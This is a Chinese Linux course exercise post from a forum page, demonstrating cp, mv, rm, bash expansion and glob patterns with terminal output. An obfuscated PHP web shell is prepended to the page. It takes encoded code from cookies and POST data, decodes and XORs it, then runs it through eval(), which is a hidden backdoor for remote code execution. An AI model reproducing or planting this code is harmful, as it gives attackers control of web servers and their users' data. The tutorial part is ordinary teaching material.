$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育网络班21期+第二周课程练习 | Linux运维部落

马哥教育网络班21期+第二周课程练习

1、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。

  文件管理命令常用有:cp mv mr

(一):cp命令

NAME
       cp - copy files and directories

SYNOPSIS
       cp [OPTION]... [-T] SOURCE DEST
       cp [OPTION]... SOURCE... DIRECTORY
       cp [OPTION]... -t DIRECTORY SOURCE...

常用选项

-a, --archive
        same as -dR --preserve=all
-i, --interactive
        prompt before overwrite (overrides a previous -n option)
-R, -r, --recursive
        copy directories recursively
-p     same as --preserve=mode,ownership,timestamps
-v, --verbose
        explain what is being done
-f, --force
        if  an  existing  destination  file cannot be opened, remove it 
        and try again (this option is ignored when the -n option is also used)

cp SRC DEST

   SRC是文件:

     如果目标不存在:

       新建DEST,并将SRC中内容填充至DEST

[root@localhost ~]# ll /tmp
总用量 28
drwxr-xr-x. 2 root   root   4096 7月  27 19:44 centos
drwx------. 2 centos centos 4096 7月   8 08:08 keyring-msbg6a
-rw-r--r--. 1 root   root     12 7月  27 19:32 mylinux
drwx------. 2 gdm    gdm    4096 7月  27 19:01 orbit-gdm
drwx------. 2 gdm    gdm    4096 7月  27 19:00 pulse-1oftcWYpft28
drwx------. 2 centos centos 4096 7月   8 08:08 pulse-ofuaZv9KOxpz
-rw-r--r--. 1 root   root     12 7月  27 19:29 test.txt
[root@localhost ~]# cp /tmp/test.txt /tmp/centos
[root@localhost ~]# tree /tmp
/tmp
├── centos
│   └── test.txt

     如果目录存在:

       如果DEST是文件:将SRC中的内容覆盖至DEST;此时建议为cp命令使用-i选项;

[root@localhost ~]# ll /tmp
总用量 28
drwxr-xr-x. 2 root   root   4096 7月  27 19:45 centos
drwx------. 2 centos centos 4096 7月   8 08:08 keyring-msbg6a
-rw-r--r--. 1 root   root     12 7月  27 19:32 mylinux
drwx------. 2 gdm    gdm    4096 7月  27 19:01 orbit-gdm
drwx------. 2 gdm    gdm    4096 7月  27 19:00 pulse-1oftcWYpft28
drwx------. 2 centos centos 4096 7月   8 08:08 pulse-ofuaZv9KOxpz
-rw-r--r--. 1 root   root     12 7月  27 19:29 test.txt
[root@localhost ~]# cat /tmp/test.txt
holle linux
[root@localhost ~]# cp /tmp/test.txt /tmp/mylinux
cp:是否覆盖"/tmp/mylinux"? y
[root@localhost ~]# cat /tmp/mylinux
holle linux

       如果DEST是目录:在DEST下新建与原文件同名的文件,并将SRC中内容填充至新文件中;

[root@localhost ~]# ll /tmp
总用量 32
drwxr-xr-x. 2 root   root   4096 7月  27 20:20 centos
drwx------. 2 centos centos 4096 7月   8 08:08 keyring-msbg6a
-rw-r--r--. 1 root   root     12 7月  27 19:50 mylinux
drwx------. 2 gdm    gdm    4096 7月  27 19:01 orbit-gdm
drwx------. 2 gdm    gdm    4096 7月  27 19:00 pulse-1oftcWYpft28
drwx------. 2 centos centos 4096 7月   8 08:08 pulse-ofuaZv9KOxpz
-rw-r--r--. 1 root   root     12 7月  27 19:29 test.txt
-rw-r--r--. 1 root   root     16 7月  27 19:54 text.txt
[root@localhost ~]# cp /tmp/text.txt /tmp/centos/text.txt
[root@localhost ~]# ll /tmp/centos
总用量 8
-rw-r--r--. 1 root root  0 7月  27 20:19 134jhk23
-rw-r--r--. 1 root root  0 7月  27 20:17 324
-rw-r--r--. 1 root root 12 7月  27 19:45 test.txt
-rw-r--r--. 1 root root 16 7月  27 20:23 text.txt

cp SRC… DEST

   SRC…是多个文件:

     DEST必须存在,且为目录,其他情形均会出错;

[root@localhost ~]# ll /tmp
总用量 32
-rw-r--r--. 1 root   root      0 7月  27 20:27 5b3
-rw-r--r--. 1 root   root      0 7月  27 20:27 abc
-rw-r--r--. 1 root   root      0 7月  27 20:27 b3a
drwxr-xr-x. 2 root   root   4096 7月  27 20:23 centos
drwx------. 2 centos centos 4096 7月   8 08:08 keyring-msbg6a
-rw-r--r--. 1 root   root     12 7月  27 19:50 mylinux
drwx------. 2 gdm    gdm    4096 7月  27 19:01 orbit-gdm
drwx------. 2 gdm    gdm    4096 7月  27 19:00 pulse-1oftcWYpft28
drwx------. 2 centos centos 4096 7月   8 08:08 pulse-ofuaZv9KOxpz
-rw-r--r--. 1 root   root     12 7月  27 19:29 test.txt
-rw-r--r--. 1 root   root     16 7月  27 19:54 text.txt
[root@localhost ~]# cp /tmp/{5b3,abc,b3a} /tmp/centos
[root@localhost ~]# ll /tmp/centos
总用量 8
-rw-r--r--. 1 root root  0 7月  27 20:19 134jhk23
-rw-r--r--. 1 root root  0 7月  27 20:17 324
-rw-r--r--. 1 root root  0 7月  27 20:28 5b3
-rw-r--r--. 1 root root  0 7月  27 20:28 abc
-rw-r--r--. 1 root root  0 7月  27 20:28 b3a
-rw-r--r--. 1 root root 12 7月  27 19:45 test.txt
-rw-r--r--. 1 root root 16 7月  27 20:23 text.txt
[root@localhost ~]#

cp SRC DEST

   SRC是目录;

     此时使用选项:-r

[root@localhost ~]# ll /tmp
总用量 36
-rw-r--r--. 1 root   root      0 7月  27 20:27 5b3
-rw-r--r--. 1 root   root      0 7月  27 20:27 abc
-rw-r--r--. 1 root   root      0 7月  27 20:27 b3a
drwxr-xr-x. 2 root   root   4096 7月  27 20:32 centos
drwx------. 2 centos centos 4096 7月   8 08:08 keyring-msbg6a
-rw-r--r--. 1 root   root     12 7月  27 19:50 mylinux
drwxr-xr-x. 2 root   root   4096 7月  27 20:30 mylinux2
drwx------. 2 gdm    gdm    4096 7月  27 19:01 orbit-gdm
drwx------. 2 gdm    gdm    4096 7月  27 19:00 pulse-1oftcWYpft28
drwx------. 2 centos centos 4096 7月   8 08:08 pulse-ofuaZv9KOxpz
-rw-r--r--. 1 root   root     12 7月  27 19:29 test.txt
-rw-r--r--. 1 root   root     16 7月  27 19:54 text.txt
[root@localhost ~]# cp -r /tmp/mylinux2 /tmp/centos
[root@localhost ~]# ll /tmp/centos
总用量 12
-rw-r--r--. 1 root root    0 7月  27 20:19 134jhk23
-rw-r--r--. 1 root root    0 7月  27 20:17 324
-rw-r--r--. 1 root root    0 7月  27 20:28 5b3
-rw-r--r--. 1 root root    0 7月  27 20:28 abc
-rw-r--r--. 1 root root    0 7月  27 20:28 b3a
drwxr-xr-x. 2 root root 4096 7月  27 20:33 mylinux2
-rw-r--r--. 1 root root   12 7月  27 19:45 test.txt
-rw-r--r--. 1 root root   16 7月  27 20:23 text.txt
[root@localhost ~]#

     如果DEST不存在:则创建指定目录,复制SRC目录中所有文件至DEST中;

[root@localhost ~]# ll /tmp
总用量 36
-rw-r--r--. 1 root   root      0 7月  27 20:27 5b3
-rw-r--r--. 1 root   root      0 7月  27 20:27 abc
-rw-r--r--. 1 root   root      0 7月  27 20:27 b3a
drwxr-xr-x. 3 root   root   4096 7月  27 20:33 centos
drwx------. 2 centos centos 4096 7月   8 08:08 keyring-msbg6a
-rw-r--r--. 1 root   root     12 7月  27 19:50 mylinux
drwxr-xr-x. 2 root   root   4096 7月  27 20:30 mylinux2
drwx------. 2 gdm    gdm    4096 7月  27 19:01 orbit-gdm
drwx------. 2 gdm    gdm    4096 7月  27 19:00 pulse-1oftcWYpft28
drwx------. 2 centos centos 4096 7月   8 08:08 pulse-ofuaZv9KOxpz
-rw-r--r--. 1 root   root     12 7月  27 19:29 test.txt
-rw-r--r--. 1 root   root     16 7月  27 19:54 text.txt
[root@localhost ~]#
[root@localhost ~]# ll /tmp/mylinux2
总用量 12
drwxr-xr-x. 2 root root 4096 7月  27 20:36 324
drwxr-xr-x. 2 root root 4096 7月  27 20:36 gsd
drwxr-xr-x. 2 root root 4096 7月  27 20:36 sdf
[root@localhost ~]# cp -r /tmp/mylinux2 /tmp/centos2
[root@localhost ~]# ll /tmp/centos2
总用量 12
drwxr-xr-x. 2 root root 4096 7月  27 20:38 324
drwxr-xr-x. 2 root root 4096 7月  27 20:38 gsd
drwxr-xr-x. 2 root root 4096 7月  27 20:38 sdf
[root@localhost ~]#

     如果DEST存在:

         如果DEST是文件:报错

         如果DEST是目录:成功

[root@localhost ~]# ll /tmp
总用量 40
-rw-r--r--. 1 root   root      0 7月  27 20:27 5b3
-rw-r--r--. 1 root   root      0 7月  27 20:27 abc
-rw-r--r--. 1 root   root      0 7月  27 20:27 b3a
drwxr-xr-x. 3 root   root   4096 7月  27 20:33 centos
drwxr-xr-x. 5 root   root   4096 7月  27 20:38 centos2
drwx------. 2 centos centos 4096 7月   8 08:08 keyring-msbg6a
-rw-r--r--. 1 root   root     12 7月  27 19:50 mylinux
drwxr-xr-x. 5 root   root   4096 7月  27 20:36 mylinux2
drwx------. 2 gdm    gdm    4096 7月  27 19:01 orbit-gdm
drwx------. 2 gdm    gdm    4096 7月  27 19:00 pulse-1oftcWYpft28
drwx------. 2 centos centos 4096 7月   8 08:08 pulse-ofuaZv9KOxpz
-rw-r--r--. 1 root   root     12 7月  27 19:29 test.txt
-rw-r--r--. 1 root   root     16 7月  27 19:54 text.txt
[root@localhost ~]# cp -r /tmp/centos2 /tmp/test.txt
cp: 无法以目录"/tmp/centos2" 来覆盖非目录"/tmp/test.txt"
[root@localhost ~]# echo $?
1

mv:move,移动文件

   mv [OPTION]… [-T] SOURCE DEST

   mv [OPTION]… SOURCE… DIRECTORY

   mv [OPTION]… -t DIRECTORY SOURCE…

常用选项:

   -i:交互式

   -f:强制

[root@localhost ~]# ls /tmp
134jhk23  keyring-msbg6a  orbit-gdm           pulse-ofuaZv9KOxpz  text.txt
centos    mylinux         pulse-1oftcWYpft28  test.txt
[root@localhost ~]# mv /tmp/134jhk23 /tmp/centos
[root@localhost ~]# ls /tmp/centos
134jhk23  324  test.txt

rm:remove,删除

rm [OPTION]… FILE…

常用选项:

   -i:交互式

   -f:强制删除

   -r:递归


   rm -rf

[root@localhost ~]# ll /tmp
总用量 32
-rw-r--r--. 1 root   root      0 7月  27 20:16 324
drwxr-xr-x. 2 root   root   4096 7月  27 19:45 centos
drwx------. 2 centos centos 4096 7月   8 08:08 keyring-msbg6a
-rw-r--r--. 1 root   root     12 7月  27 19:50 mylinux
drwx------. 2 gdm    gdm    4096 7月  27 19:01 orbit-gdm
drwx------. 2 gdm    gdm    4096 7月  27 19:00 pulse-1oftcWYpft28
drwx------. 2 centos centos 4096 7月   8 08:08 pulse-ofuaZv9KOxpz
-rw-r--r--. 1 root   root     12 7月  27 19:29 test.txt
-rw-r--r--. 1 root   root     16 7月  27 19:54 text.txt
[root@localhost ~]# rm /tmp/324
rm:是否删除普通空文件 "/tmp/324"?y

2、bash的工作特性之命令执行状态返回值和命令行展开所涉及的内容及其示例演示。

   bash命令执行状态返回值分别为0:成功;1-255:失败;bash使用特殊变量$?来保存最近一条命令的执行状态结果;

    命令行展开

       ~:展开为用户的主目录

       ~USERNAME:展开为指定用户的主目录

       {}:可承载一个以逗号分隔的列表,并将其展开为多个路径

            /tmp{a,b} = /tmp/a, /tmp/b

            /tmp/{tmp,jerry}/hi = /tmp/tom/hi, /tem/jerry/hi

[root@localhost ~]# tty
/dev/pts/0
[root@localhost ~]# echo $?
0
[root@localhost ~]# tty2
-bash: tty2: 未找到命令
[root@localhost ~]# echo $?
127
[root@localhost ~]#

3、请使用命令行展开功能来完成以下练习:

   (1)、创建/tmp目录下的:a_c, a_d, b_c, b_d

[root@localhost ~]# mkdir /tmp/{a,b}_{c,d}
[root@localhost ~]# ll /tmp
总用量 4
drwxr-xr-x. 2 root root   6 7月  27 18:00 a_c
drwxr-xr-x. 2 root root   6 7月  27 18:00 a_d
drwxr-xr-x. 2 root root   6 7月  27 18:00 b_c
drwxr-xr-x. 2 root root   6 7月  27 18:00 b_d
-rwx------. 1 root root 813 7月  19 17:09 ks-script-Yc2f_Y
-rw-------. 1 root root   0 7月  19 17:04 yum.log
[root@localhost ~]#

   (2)、创建/tmp/mylinux目录下的:

mylinux/

    ├── bin

    ├── boot

    │   └── grub

    ├── dev

    ├── etc

    │   ├── rc.d

    │   │   └── init.d

    │   └── sysconfig

    │       └── network-scripts

    ├── lib

    │   └── modules

    ├── lib64

    ├── proc

    ├── sbin

    ├── sys

    ├── tmp

    ├── usr

    │   └── local

    │       ├── bin

    │       └── sbin

    └── var

        ├── lock

        ├── log

        └── run

[root@localhost ~]# ll /tmp
总用量 4
drwxr-xr-x. 2 root root   6 7月  27 2016 a_c
drwxr-xr-x. 2 root root   6 7月  27 2016 a_d
drwxr-xr-x. 2 root root   6 7月  27 2016 b_c
drwxr-xr-x. 2 root root   6 7月  27 2016 b_d
-rwx------. 1 root root 813 7月  19 17:09 ks-script-Yc2f_Y
-rw-------. 1 root root   0 7月  19 17:04 yum.log
[root@localhost ~]# mkdir -pv /tmp/mylinux/{bin,boot/grub,dev,etc/{rc.d/init.d,sysconfig/network-scripts},lib/modules,lib64,proc,sbin,sys,tmp,usr/local/{bin,sbin}}
mkdir: 已创建目录 "/tmp/mylinux"
mkdir: 已创建目录 "/tmp/mylinux/bin"
mkdir: 已创建目录 "/tmp/mylinux/boot"
mkdir: 已创建目录 "/tmp/mylinux/boot/grub"
mkdir: 已创建目录 "/tmp/mylinux/dev"
mkdir: 已创建目录 "/tmp/mylinux/etc"
mkdir: 已创建目录 "/tmp/mylinux/etc/rc.d"
mkdir: 已创建目录 "/tmp/mylinux/etc/rc.d/init.d"
mkdir: 已创建目录 "/tmp/mylinux/etc/sysconfig"
mkdir: 已创建目录 "/tmp/mylinux/etc/sysconfig/network-scripts"
mkdir: 已创建目录 "/tmp/mylinux/lib"
mkdir: 已创建目录 "/tmp/mylinux/lib/modules"
mkdir: 已创建目录 "/tmp/mylinux/lib64"
mkdir: 已创建目录 "/tmp/mylinux/proc"
mkdir: 已创建目录 "/tmp/mylinux/sbin"
mkdir: 已创建目录 "/tmp/mylinux/sys"
mkdir: 已创建目录 "/tmp/mylinux/tmp"
mkdir: 已创建目录 "/tmp/mylinux/usr"
mkdir: 已创建目录 "/tmp/mylinux/usr/local"
mkdir: 已创建目录 "/tmp/mylinux/usr/local/bin"
mkdir: 已创建目录 "/tmp/mylinux/usr/local/sbin"
[root@localhost ~]# tree /tmp/mylinux
/tmp/mylinux
├── bin
├── boot
│   └── grub
├── dev
├── etc
│   ├── rc.d
│   │   └── init.d
│   └── sysconfig
│       └── network-scripts
├── lib
│   └── modules
├── lib64
├── proc
├── sbin
├── sys
├── tmp
└── usr
    └── local
        ├── bin
        └── sbin

20 directories, 0 files

4、文件的元数据信息有哪些,分别表示什么含义,如何查看?如何修改文件的时间戳信息。

   文件的元数据包含文件本身的一些属性信息,如:文件名、文件的各类权限、各类时间戳、inode号码、链接次数等。

   文件包括三个时间戳:atime(访问时间)、mtime(修改时间)、ctime(改变时间),可以用touch命令来修改时间戳

touch命令:

    touch [OPTION]….FILE….

       -a:only atime

       -m:only mtime

       -t  STAMP:

           [[CC]YY]MMDDhhmm[.ss]

       -c:如果文件不存在,则不予创建

5、如何定义一个命令的别名,如何在命令中引用另一个命令的执行结果?

命令别名:alias

  通过alias命令实现:

     (1)alias

         显示当前shell进程所有可用的命令别名;

[root@localhost ~]# alias
alias cp='cp -i'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias l.='ls -d .* --color=auto'
alias ll='ls -l --color=auto'
alias ls='ls --color=auto'
alias mv='mv -i'
alias rm='rm -i'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
[root@localhost ~]#

     (2)alias NAME="VALUE"

         定义别名NAME,其相当于执行命令VALUE;

[root@localhost ~]# alias lstmp="ls -a /tmp/"
[root@localhost ~]# lstmp
.    a_d  .font-unix        mylinux  mytest3                    .X11-unix
..   b_c  .ICE-unix         mytest1  .Test-unix                 .XIM-unix
a_c  b_d  ks-script-Yc2f_Y  mytest2  tfile-2016-07-27-15-23-25  yum.log
[root@localhost ~]#

撤销别名:unalias

unalias [-a] name [name…]

[root@localhost ~]# unalias lstmp
[root@localhost ~]# lstmp
-bash: lstmp: 未找到命令

6、显示/var目录下所有以l开头,以一个小写字母结尾,且中间至少出现一位数字(可以有其它字符)的文件或目录。

[root@localhost ~]# ls -a /var
.     12bn       adm    db     gopher    local  mail      opt       sdf34ds.d  var
..    4321331.d  cache  empty  kerberos  lock   mwrf34sd  preserve  spool      yp
123s  account    crash  games  lib       log    nis       run       tmp
[root@localhost ~]# ls -d /var/1*[0-9]*[[:lower:]]
/var/123s  /var/12bn

7、显示/etc目录下,以任意一个数字开头,且以非数字结尾的文件或目录。

[root@localhost ~]# mkdir /etc/{1bv,2hg,233}
[root@localhost ~]# ls -d /etc/[0-9]*[^0-9]
/etc/1bv  /etc/2hg

8、显示/etc目录下,以非字母开头,后面跟了一个字母以及其它任意长度任意字符的文件或目录。

[root@localhost ~]# ls -d /etc/[^a-z][[:alnum:]]*
/etc/1bv  /etc/233  /etc/2hg

9、在/tmp目录下创建以tfile开头,后跟当前日期和时间的文件,文件名形如:tfile-2016-05-27-09-32-22。

[root@localhost ~]# touch /tmp/tfile-"$(date +%Y-%m-%d-%H-%M-%S)"
[root@localhost ~]# ll /tmp
总用量 16
drwxr-xr-x.  2 root root    6 7月  27 2016 a_c
drwxr-xr-x.  2 root root    6 7月  27 2016 a_d
drwxr-xr-x.  2 root root    6 7月  27 2016 b_c
drwxr-xr-x.  2 root root    6 7月  27 2016 b_d
-rwx------.  1 root root  813 7月  19 17:09 ks-script-Yc2f_Y
drwxr-xr-x. 13 root root 4096 7月  27 11:17 mylinux
drwxr-xr-x. 11 root root 4096 7月  27 14:21 mytest1
drwxr-xr-x. 31 root root 4096 7月  27 14:25 mytest2
drwxr-xr-x.  2 root root   62 7月  27 14:33 mytest3
-rw-r--r--.  1 root root    0 7月  27 15:23 tfile-2016-07-27-15-23-25
-rw-------.  1 root root    0 7月  19 17:04 yum.log

10、复制/etc目录下所有以p开头,以非数字结尾的文件或目录到/tmp/mytest1目录中。

[root@localhost ~]# mkdir /tmp/mytest1
[root@localhost ~]# 
[root@localhost ~]# cp -a /etc/p*[^0-9] /tmp/mytest1
[root@localhost ~]# ll /tmp/mytest1
总用量 48
drwxr-xr-x.  2 root root 4096 7月  19 17:08 pam.d
-rw-r--r--.  1 root root 1201 7月  19 17:08 passwd
-rw-r--r--.  1 root root 1201 7月  19 17:08 passwd-
-rw-r--r--.  1 root root 2872 6月  10 2014 pinforc
drwxr-xr-x. 11 root root 4096 7月  19 17:08 pki
drwxr-xr-x.  2 root root   27 7月  19 17:06 plymouth
drwxr-xr-x.  5 root root   49 7月  19 17:05 pm
drwxr-xr-x.  2 root root    6 6月  10 2014 popt.d
drwxr-xr-x.  2 root root 4096 7月  19 17:06 postfix
drwxr-xr-x.  3 root root 4096 7月  19 17:06 ppp
drwxr-xr-x.  2 root root   75 7月  19 17:06 prelink.conf.d
-rw-r--r--.  1 root root  233 6月   7 2013 printcap
-rw-r--r--.  1 root root 1750 6月   7 2013 profile
drwxr-xr-x.  2 root root 4096 7月  19 17:06 profile.d
-rw-r--r--.  1 root root 6545 6月   7 2013 protocols
[root@localhost ~]#

11、复制/etc目录下所有以.d结尾的文件或目录至/tmp/mytest2目录中。

[root@localhost ~]# ls -d /etc/*.d
/etc/bash_completion.d  /etc/ld.so.conf.d    /etc/rc1.d        /etc/statetab.d
/etc/binfmt.d           /etc/logrotate.d     /etc/rc2.d        /etc/sudoers.d
/etc/chkconfig.d        /etc/modprobe.d      /etc/rc3.d        /etc/sysctl.d
/etc/cron.d             /etc/modules-load.d  /etc/rc4.d        /etc/tmpfiles.d
/etc/depmod.d           /etc/my.cnf.d        /etc/rc5.d        /etc/usb_modeswitch.d
/etc/dnsmasq.d          /etc/pam.d           /etc/rc6.d        /etc/xinetd.d
/etc/dracut.conf.d      /etc/popt.d          /etc/rc.d         /etc/yum.repos.d
/etc/gdbinit.d          /etc/prelink.conf.d  /etc/rsyslog.d
/etc/grub.d             /etc/profile.d       /etc/rwtab.d
/etc/init.d             /etc/rc0.d           /etc/setuptool.d
[root@localhost ~]# mkdir /tmp/mytest2
[root@localhost ~]# cp -a /etc/*.d /tmp/mytest2
[root@localhost ~]# ls  /tmp/mytest2
bash_completion.d  gdbinit.d       my.cnf.d        rc2.d      rwtab.d           xinetd.d
binfmt.d           grub.d          pam.d           rc3.d      setuptool.d       yum.repos.d
chkconfig.d        init.d          popt.d          rc4.d      statetab.d
cron.d             ld.so.conf.d    prelink.conf.d  rc5.d      sudoers.d
depmod.d           logrotate.d     profile.d       rc6.d      sysctl.d
dnsmasq.d          modprobe.d      rc0.d           rc.d       tmpfiles.d
dracut.conf.d      modules-load.d  rc1.d           rsyslog.d  usb_modeswitch.d

12、复制/etc/目录下所有以l或m或n开头,以.conf结尾的文件至/tmp/mytest3目录中。

[root@localhost ~]# mkdir /tmp/mytest3
[root@localhost ~]# ls /etc/[1mn]*.conf
/etc/man_db.conf  /etc/mke2fs.conf  /etc/nsswitch.conf
[root@localhost ~]# cp -a /etc/[1mn]*conf /tmp/mytest3
[root@localhost ~]# ls /tmp/mytest3
man_db.conf  mke2fs.conf  nsswitch.conf
[root@localhost ~]#

原创文章,作者:N21-3分之1,如若转载,请注明出处:http://www.178linux.com/24970

(0)
上一篇 2016-07-29 15:22
下一篇 2016-07-29 15:22

相关推荐

  • lamp的编译安装

    基于http的php模块模式 一、需要准备的软件:     apr-1.5.0.tar    apr-util-1.5.3.tar    httpd-2.4.9.tar        mysql-5.5.33-…

    Linux干货 2016-06-22
  • 马哥教育网络班21期-第十周课程练习​

    1、请详细描述CentOS系统的启动流程(详细到每个过程系统做了哪些事情)流程顺序:POST(加电自检) –> BootSequence (BIOS) –> Bootloader(MBR) –> kernel(ramdisk) –> rootfs(只读方式) –> sw…

    Linux干货 2016-09-26
  • sed– 用于筛选和转换文本的流编辑器

    sed 用于筛选和转换文本的流编辑器命令格式:sed [OPTION] {script} file选项       -n, –quiet, –silent 抑制模式空间的自动打印  echo -e “abc\ndef” | sed ‘p’ #输出 abc # abc # def # d…

    Linux干货 2017-08-15
  • 用户和组的配置文件

    一.linux上的用户和组   linux上的用户:       linux上的用户即Username/UID分为以下类别:         管理员:root,0    …

    Linux干货 2016-10-23
  • Linux入门 及Basics基础

    二进制: 0, 1 5大部件: CPU:计算器、控制器 Memory: 存储器(内存) 编址存储单元阵列 输入设备/输出设备:I/O 键盘: VGA: 辅助存储器 网卡 编程: 低级语言:汇编(微码编程) 高级语言:JAVA, C++, C, Scala, Python 转件: 时序复用: 计算机:硬件+软件 硬件:开发,制造 软件:编写,编译 OS: Op…

    Linux干货 2016-08-08
  • Apache、nginx 、lighttpd性能比较

    1. web服务器简介 1. lighttpd      Lighttpd是一个德国人领导的开源软件,其根本的目的是提供一个专门针对高性能网站,安全、快速、兼容性好并且灵活的Web server环境         Lighttpd是一个具有非常低的…

    Linux干货 2015-04-10

评论列表(1条)

  • 马哥教育
    马哥教育 2016-07-29 16:02

    写的很好,排版还可以在漂亮一点,加油